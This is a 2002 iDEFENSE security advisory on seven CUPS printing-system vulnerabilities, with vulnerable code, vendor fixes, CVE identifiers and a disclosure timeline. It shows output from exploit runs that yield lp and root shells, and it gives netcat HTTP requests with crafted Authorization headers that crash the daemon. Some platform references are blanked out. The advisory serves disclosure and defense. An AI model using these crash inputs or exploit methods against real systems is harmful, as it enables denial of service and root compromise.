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iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
From: "iDEFENSE Labs" <labs () idefense com>
Date: Thu, 19 Dec 2002 11:55:05 -0500
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iDEFENSE Security Advisory 12.19.02:
Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)
December 19, 2002
Easy Software Products' Common Unix Printing System (CUPS) is a
cross-platform printing solution for Unix environments. It is based on the
"Internet Printing Protocol," and provides complete printing services to
most PostScript and raster printers. CUPS has a web-based graphical
interface for printer management and is available on most Linux systems.
More information is available at http://www.cups.org .
The following major vendors are known to distribute CUPS by default; in
some cases, it is the default printing implementation used as well:
Apple Computer Inc.
Red Hat Inc.
Slackware Linux Inc.
The SCO Group
Exploitation of multiple CUPS vulnerabilities allow local and remote
attackers in the worst of the scenarios to gain root privileges. The
following test platforms were used for various parts of this advisory:
 - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
 - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
 - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)
**** ISSUE 1 - Multiple Integer Overflows ****
An integer overflow exists in the CUPSd http interface. Exploitation
allows an attacker to gain the permissions of the 'lp' user id and the
'sys' group id. The offending lines of code can be found in cgi-bin/var.c:
var = form_vars + form_count;
var->name = strdup(name);
var->nvalues = element + 1;
var->avalues = element + 1;
var->values = calloc(element + 1, sizeof(char *));
var->values[element] = strdup(value);
Since an attacker has control over both element and value, he or she can
overwrite the address of a soon-to-be called function with the address of
arbitrary code. The following is a successful run of the vanilla-coke
exploit ran against test platform  built against glibc-2.2.4-220.127.116.11:
$ ls -l /tmp/suid
- - - - -rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid
uid=4(lp) gid=3(sys) groups=500(farmer)
The exploit created a set user id 'lp' shell. While the current exploit
works only against systems utilizing glibc-2.2.4-18.104.22.168, it is possible
to make modifications that will make it effective against earlier glibc
versions. The vulnerable code also exists in the latest version of CUPS
(test platform ) and appears to be exploitable with slight
Multiple integer overflows also exist in the image handling code of the
filters in CUPS. The following is a successful run of the mksun exploit
tested against platform :
$ ls -al /tmp/resulted
/bin/ls: /tmp/resulted: No such file or directory
$ ./mksun | lp
request id is lp-100 (1 file(s))
$ cat /tmp/resulted
This vulnerability still exists in the latest version of CUPS (test
platform ) slight modification of the exploit code is required.
**** ISSUE 2 - /etc/cups/certs/ Race Condition ****
A race condition exists in the creation of /etc/cups/certs/<pid>. This
allows a local attacker to create or overwrite any file as root. A
prerequisite to launching this attack is 'lp' user privileges, which can
be gained through successful exploitation of ISSUE 1 (see above).
The following is a successful run of the ice-cream exploit tested against
platforms , , and :
Waiting for creation event.
Connected to redhat7.0 (127.0.0.1).
Escape character is '^]'.
HTTP/1.1 200 OK
Date: Wed, 04 Dec 2002 12:37:21 GMT
Connection closed by foreign host.
exec some suid with the lib preloading and then remove
/etc/ld.so.preload-type-file to put things roughly the way they were.
sh-2.04$ ls -l /etc/ld.so.preload-type-file
- - - - -rw-rw-rw- 1 lp sys 20 Dec 4 07:37 /etc/ld.so.preload-type-file
The sample exploit created /etc/ld.so.preload-type-file. An easy
modification can generate /etc/ld.so.preload, which can then be used to
gain root privileges by redefining functions such as getuid() as a simple
**** ISSUE 3 - Adding Printers with UDP Packets/ Root Certificate Design
Printers can remotely be added to CUPS by sending a specially crafted UDP
packet. The ability to remotely add printers is used in ISSUE 3 as well as
in the exploitation of other subsequent vulnerabilities within this
advisory (see below). The added printer can contain a tainted name that
when clicked on or referenced through other means (image request, etc.)
can exploit ISSUE 1. The exploit does not have to be locally launched
being the shellcode can be modified to connect back to a system
controlled by the attacker.
The following is a successful run of the new-coke exploit tested against
platforms  and :
$ ./new-coke 127.0.0.1
Checking the web interface to CUPS after running this exploit shows the
added printer. The only way to edit or remove this printer through the web
interface is to click on it, which will in turn exploit the vulnerability.
A consequence of exploiting this vulnerability is that a local attacker
can exploit a design flaw to gain root privileges. A printer is first
added and configured to run on a high numbered port. It is then told to
return a "need authorization" page. The http backend will then authorize
with the current local root certificate, as this is the same certificate
that is needed to access the administrative section of the web server.
Once the certificate has been obtained, it is possible to add a printer
that will execute commands with root privileges.
The following is a successful run of the pardonme exploit script tested
against platform :
Proof of concept - stealing certificate 0 from CUPS
=================================================== Allows access to
/admin/ area which we use to execute code as root.
- - - - - creating tmp printer to steal key from
- - - - - telling it we want the key.
- - - - - listening for key.
- - - - - attempting to create rootshell printer
- - - - - calling /tmp/doitnow
request id is givemeroot-4 (1 file(s))
- - - - - removing tmp printer "hackyou"
- - - - - removing root shell printer "givemeroot" - check /tmp/resulted
- - - - - done
=== contents of file ===
Thu Dec 5 02:19:13 GMT 2002
=== contents of file ===
**** ISSUE 4 - Negative Length Memcpy() Calls ****
Negative length memcpy() calls can lead to a denial of service (DoS) and,
on some platforms, remote root compromise. The following examples
demonstrate these vulnerabilities:
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Authorization: Basic AAA
$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Authorization: Basic AAA
- - - - -FFFFFFFE
Both requests will crash the CUPS daemon. This issue is similar to the
Apache HTTP Server chunking bug that is exploitable on OpenBSD, FreeBSD,
and NetBSD due to their implementations of memcpy(). Platforms , 
and  are all susceptible to this vulnerability.
**** ISSUE 5 - Unsafe Strncat Function Call in jobs.c ****
jobs.c insecurely uses the strncat function call in the setup of the
'options' string. As such, it is possible to exploit this in conjunction
with the vulnerability described in ISSUE 3 to obtain local root
privileges. To exploit the vulnerability, a printer is created. A job is
then sent to the printer with attributes set in such a fashion as to
overflow the options buffer and overwrite the return address of the frame.
Shellcode is then executed. It calls an external program, /tmp/doitnow,
which will be executed with root privileges. In the process, two files are
created that, unless removed, should prevent CUPS from starting:
The following is a succesful run of the tosend script that utilizes the
lift exploit. It has been tested against platform :
* local root
* cupsd incorrect usage of strncat in jobs.c
* ========================================== * proof of concept. appends
output from "id" and "date" to
[+] checking stuff
* Checking for cupsd file
* Checking cupsd is running
* checking for /sbin/pidof
* finding pid of process
* Checking for make
* Checking for nc
[+] Building stuff
* Making lift
make: `lift' is up to date.
* firing message (needs netcat (nc) to be in your path)
[+] About to check /tmp/resulted
- - - - - time is now Wed Dec 4 14:27:16 EST 2002
- - - - - current uid == 500
- - - - - current gid == 500
The /tmp/doitnow script, in this case, simply contains the command "id >
/tmp/didit.txt". The tosend script has successfully used the lift exploit,
and the didit.txt file has been created, which, as can be seen from the
contents, was executed with root privileges:
# cat /tmp/didit.txt
The exploit is not effective against later versions of CUPS since the
strncat() calls have been replaced with calls to strlcat().
**** ISSUE 6 - Zero Width Images in filters/image-gif.c ****
CUPS improperly check for zero width images in filters/image-gif.c as can
be seen from the following offending code:
bpp = ImageGetDepth(img);
pixels = calloc(bpp, img->xsize);
temp += bpp;
if (xpos == img->xsize)
ImagePutRow(img, 0, ypos, img->xsize, pixels); ...
The check for reaching the line width is not performed until after the
increment, therefore allowing an attacker to manipulate the chunk headers
and execute arbitrary code.
The following is a successful run of the nogif exploit tested against
zero width gif exploit for cups "imageto*" filters
imagetops filter example.
ppmtogif: computing other colormap...
ppmtogif: 256 colors found
ppmtogif: sorting colormap
Moving img1.gif to /var/tmp
Now make and run ./wrap to emulate printing this job.
INFO: lp 7 root img1.gif 1 /var/tmp//////////img1.gif
DEBUG: Page = 612x792; 18,36 to 594,756
DEBUG: ImageOpen("/var/tmp//////////img1.gif", 1, 1, 100, 0, (nil))
Successful exploitation should execute the file /tmp/sh. This
vulnerability still exists in the latest version of CUPS (test platform
). Slight modification of the exploit code is required, however.
**** ISSUE 7 - File Descriptor Resource Leaks ****
Return values of many file and socket operations are not checked,
therefore leading to file descriptor leaks. Attackers can launch a DoS
attack against a system running CUPS. The following is a successful run of
the fanta exploit tested against platform :
The error below doesn't appear to show up, and the process hangs at around
300-400 somewhere sometimes.
Problem in cups is caused by file descriptor leaks, and failing to check
return values for file operations in many areas.
Local and remote attackers can exploit the above-described vulnerabilities
on vulnerable CUPS versions to gain superuser privileges. Exploitation is
relatively easy in most cases given exploit code, although certain
modifications are necessary in certain instances.
CUPS-1.1.14-5, CUPS-1.1.14-15, and CUPS-1.1.17 are susceptible. See the
detailed DESCRIPTION section above to determine the specifics of
Crashed daemons must be restarted in order to resume normal operations. If
the CUPS daemon cannot restart, check for the existence of the following
files and remove them:
VI. VENDOR RESPONSES/FIXES
Michael Sweet [mike () easysw com] of Easy Software Products said CUPS 1.1.18
will be released December 19, 2002 which addresses all of these issues
Mark J Cox (mjc () redhat com) of Red Hat said the following:
"Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by
default. We are currently working on producing erratum packages. When
complete, these will be available along with our advisory. At the same
time, users of the Red Hat Network will be able to update their systems
using the 'up2date' tool."
Richard Blanchard (rblanchard () apple com) of Apple said the following:
Mac OS X 10.2 - Mac OS X 10.2.2
Mac OS X Server 10.2 - Mac OS X Server 10.2.2
Mitigating Factors: The described vulnerability can be remotely
exploited only when Printer Sharing is enabled. Printer Sharing is not
enabled by default on Mac OS X or Mac OS X Server.
Fixed in: Mac OS X 10.2.3 and Mac OS X Server 10.2.3"
VII. CVE INFORMATION
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has
assigned the following identification numbers to these issues:
CAN-2002-1383: ISSUE 1 - Multiple Integer Overflows
CAN-2002-1366: ISSUE 2 - /etc/cups/certs/ Race Condition
CAN-2002-1367: ISSUE 3 - Adding Printers with UDP Packets/
Root Certificate Design Flaw
CAN-2002-1368: ISSUE 4 - Negative Length Memcpy() Calls
CAN-2002-1369: ISSUE 5 - Unsafe Strncat Function Call in jobs.c
CAN-2002-1371: ISSUE 6 - Zero Width Images in filters/image-gif.c
CAN-2002-1372: ISSUE 7 - File Descriptor Resource Leaks
VIII. DISCLOSURE TIMELINE
10/27/2002 Initial discussion with contributor
11/14/2002 Final contributor submission
12/12/2002 CUPS author notified via e-mail to cups-support () cups org
12/12/2002 iDEFENSE clients notified
12/12/2002 Response and preliminary patch received from
CUPS author Michael Sweet (mike () easysw com)
12/12/2002 Apple, Linux Security List (vendor-sec () lst de)
12/13/2002 Updated patch received from Michael Sweet
12/17/2002 Response received from Richard Blanchard
(rblanchard () apple com)
12/19/2002 Coordinated Public Disclosure
zen-parse (zen-parse () gmx net) discovered these issues.
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Full-Disclosure - We believe in it.
- iDEFENSE Security Advisory 12.19.02: Multiple Security Vulnerabilities in Common Unix Printing System (CUPS) iDEFENSE Labs (Dec 19)